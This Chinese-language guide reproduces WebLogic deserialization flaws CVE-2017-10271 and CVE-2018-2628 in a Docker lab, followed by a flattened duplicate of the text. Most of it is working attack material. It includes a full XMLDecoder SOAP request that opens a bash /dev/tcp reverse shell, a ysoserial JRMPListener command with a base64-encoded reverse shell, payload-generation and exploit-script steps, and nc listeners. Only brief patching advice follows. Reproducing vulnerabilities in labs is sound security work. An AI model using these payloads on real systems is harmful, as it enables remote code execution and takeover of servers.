Weblogic反序列化漏洞解析(CVE-2017-10271和CVE-2018-2628)
字数 1528 2025-08-10 08:54:01

Weblogic反序列化漏洞深度解析与复现指南 (CVE-2017-10271 & CVE-2018-2628)

一、漏洞概述

CVE-2017-10271

  • 影响组件: Weblogic的WLS Security组件
  • 漏洞类型: XMLDecoder反序列化漏洞
  • 攻击向量: 通过webservice服务解析恶意XML数据
  • 危害: 可导致远程代码执行(RCE)

CVE-2018-2628

  • 影响组件: Weblogic Server WLS Core Components
  • 漏洞类型: T3协议反序列化漏洞
  • 攻击向量: 利用T3协议和RMI机制缺陷
  • 危害: 未授权用户可远程执行任意命令

二、环境准备

基础环境

  • 靶机:
    • 操作系统: Kali Linux (IP: 192.168.200.14)
    • 或 Ubuntu (IP: 192.168.200.47)
  • 攻击机:
    • 需要安装Docker和Python环境
    • 建议使用Kali Linux

工具准备

  1. Docker及docker-compose
  2. ysoserial工具包
  3. weblogic_poc.py漏洞利用脚本
  4. weblogic-t3-info扫描工具

三、CVE-2017-10271漏洞复现

1. 启动漏洞环境

docker-compose up -d
docker ps  # 确认7001端口已开放

2. 漏洞验证

访问Weblogic控制台: http://靶机IP:7001/console

3. 构造并发送恶意请求

POC示例:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶机IP:7001
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.4.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2">
              <string>bash -i &gt;&amp; /dev/tcp/攻击机IP/端口 0&gt;&amp;1</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

4. 反弹Shell设置

  1. 在攻击机上监听指定端口:
nc -lvnp 端口
  1. 修改POC中的IP和端口为攻击机的信息
  2. 发送恶意请求

四、CVE-2018-2628漏洞复现

1. 环境准备

docker-compose up -d
docker ps

2. 扫描T3服务

weblogic-t3-info 靶机IP 端口

3. 下载利用工具

git clone https://github.com/Lighird/CVE-2018-2628

4. 启动JRMP Server

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 监听端口 CommonsCollections1 "命令"

命令编码工具: https://ares-x.com/tools/runtime-exec

示例:

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+L2Rldi90Y3AvMTkyLjE2OC4yMDAuMTQvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

5. 生成Payload

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 攻击机IP:监听端口 | xxd -p | tr -d $'\n' && echo

6. 修改利用脚本

  1. 将生成的Payload替换weblogic_poc.py中的内容
  2. 修改靶机IP

7. 执行攻击

python2 weblogic_poc.py

8. 获取Shell

在另一个终端监听指定端口:

nc -lvnp 1234

五、漏洞修复建议

CVE-2017-10271

  1. 升级Weblogic至最新版本
  2. 删除或重命名wls-wsat.war组件
  3. 配置XML解析安全策略

CVE-2018-2628

  1. 应用Oracle官方补丁
  2. 限制T3协议访问(配置防火墙规则)
  3. 升级JDK至安全版本
update-alternatives --config java

六、技术原理分析

CVE-2017-10271

  • 漏洞根源: XMLDecoder在解析XML数据时未做充分安全校验
  • 触发路径:
    wls-wsat.war → CoordinatorPortType → XMLDecoder → ProcessBuilder

CVE-2018-2628

  • 漏洞链条:
    T3协议 → RMI机制 → JRMP协议 → 反序列化 → RCE
  • 关键点:
    • JRMP协议允许远程方法调用
    • ysoserial工具生成恶意序列化数据

七、注意事项

  1. Python版本问题: 必须使用Python2执行weblogic_poc.py
  2. 空格问题: 修改脚本时注意不要引入多余空格
  3. 编码问题: 特殊字符需要进行Base64编码
  4. 权限问题: 确保攻击机有足够权限监听端口

八、参考资源

  1. Oracle官方安全公告
  2. ysoserial项目: https://github.com/frohoff/ysoserial
  3. CVE-2018-2628利用脚本: https://github.com/Lighird/CVE-2018-2628
  4. 命令编码工具: https://ares-x.com/tools/runtime-exec
Weblogic反序列化漏洞深度解析与复现指南 (CVE-2017-10271 & CVE-2018-2628) 一、漏洞概述 CVE-2017-10271 影响组件 : Weblogic的WLS Security组件 漏洞类型 : XMLDecoder反序列化漏洞 攻击向量 : 通过webservice服务解析恶意XML数据 危害 : 可导致远程代码执行(RCE) CVE-2018-2628 影响组件 : Weblogic Server WLS Core Components 漏洞类型 : T3协议反序列化漏洞 攻击向量 : 利用T3协议和RMI机制缺陷 危害 : 未授权用户可远程执行任意命令 二、环境准备 基础环境 靶机 : 操作系统: Kali Linux (IP: 192.168.200.14) 或 Ubuntu (IP: 192.168.200.47) 攻击机 : 需要安装Docker和Python环境 建议使用Kali Linux 工具准备 Docker及docker-compose ysoserial工具包 weblogic_ poc.py漏洞利用脚本 weblogic-t3-info扫描工具 三、CVE-2017-10271漏洞复现 1. 启动漏洞环境 2. 漏洞验证 访问Weblogic控制台: http://靶机IP:7001/console 3. 构造并发送恶意请求 POC示例 : 4. 反弹Shell设置 在攻击机上监听指定端口: 修改POC中的IP和端口为攻击机的信息 发送恶意请求 四、CVE-2018-2628漏洞复现 1. 环境准备 2. 扫描T3服务 3. 下载利用工具 4. 启动JRMP Server 命令编码工具 : https://ares-x.com/tools/runtime-exec 示例: 5. 生成Payload 6. 修改利用脚本 将生成的Payload替换weblogic_ poc.py中的内容 修改靶机IP 7. 执行攻击 8. 获取Shell 在另一个终端监听指定端口: 五、漏洞修复建议 CVE-2017-10271 升级Weblogic至最新版本 删除或重命名wls-wsat.war组件 配置XML解析安全策略 CVE-2018-2628 应用Oracle官方补丁 限制T3协议访问(配置防火墙规则) 升级JDK至安全版本 六、技术原理分析 CVE-2017-10271 漏洞根源 : XMLDecoder在解析XML数据时未做充分安全校验 触发路径 : wls-wsat.war → CoordinatorPortType → XMLDecoder → ProcessBuilder CVE-2018-2628 漏洞链条 : T3协议 → RMI机制 → JRMP协议 → 反序列化 → RCE 关键点 : JRMP协议允许远程方法调用 ysoserial工具生成恶意序列化数据 七、注意事项 Python版本问题: 必须使用Python2执行weblogic_ poc.py 空格问题: 修改脚本时注意不要引入多余空格 编码问题: 特殊字符需要进行Base64编码 权限问题: 确保攻击机有足够权限监听端口 八、参考资源 Oracle官方安全公告 ysoserial项目: https://github.com/frohoff/ysoserial CVE-2018-2628利用脚本: https://github.com/Lighird/CVE-2018-2628 命令编码工具: https://ares-x.com/tools/runtime-exec